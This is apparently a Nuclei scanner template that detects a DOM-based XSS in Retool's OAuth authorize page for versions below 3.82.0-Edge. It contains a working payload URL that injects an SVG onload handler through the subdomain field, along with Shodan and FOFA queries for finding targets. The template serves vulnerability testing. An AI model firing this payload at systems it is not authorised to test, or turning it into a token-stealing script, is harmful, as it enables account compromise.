id: retool-dom-xss

info:
  name: Retool <3.82.0 Edge OAuth Authorize - DOM Based XSS
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: |
    Retool versions less than 3.82.0-Edge are vulnerable to a DOM-based XSS vulnerability in the OAuth authorization flow.
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Retool"
    fofa-query: body="Retool"
  tags: headless,retool,dom,xss

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/oauth/authorize#%7B%20"redirectUri":%20"zzz",%20"resourceId":%20"fff",%20"resourceName":%20"aa",%20"resourceType":%20"azz",%20"userEmail":%20"aaa@aa.com",%20"userFirstName":%20"zzz",%20"userLastName":%20"zzff",%20"xsrfToken":%20"x","subdomain":"aaa<svg/onload=prompt(document.domain)>aaaa","accessToken":"ab"%20%7D'
        action: navigate

      - action: waitdialog
        name: subdomain_object_dom

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - subdomain_object_dom == true

      - type: word
        part: body
        words:
          - "retool"
        case-insensitive: true

# digest: 4a0a00473045022100ad6e82c9017f09387c040db822f456121fa01b5f65f9d92e6a7d8e2006a99e3902207832dd0e1a2619a7abf73eb6f9919eceeed3677f034f4a2437a43aae81fa9b03:922c64590222798bb761d5b6d8e72950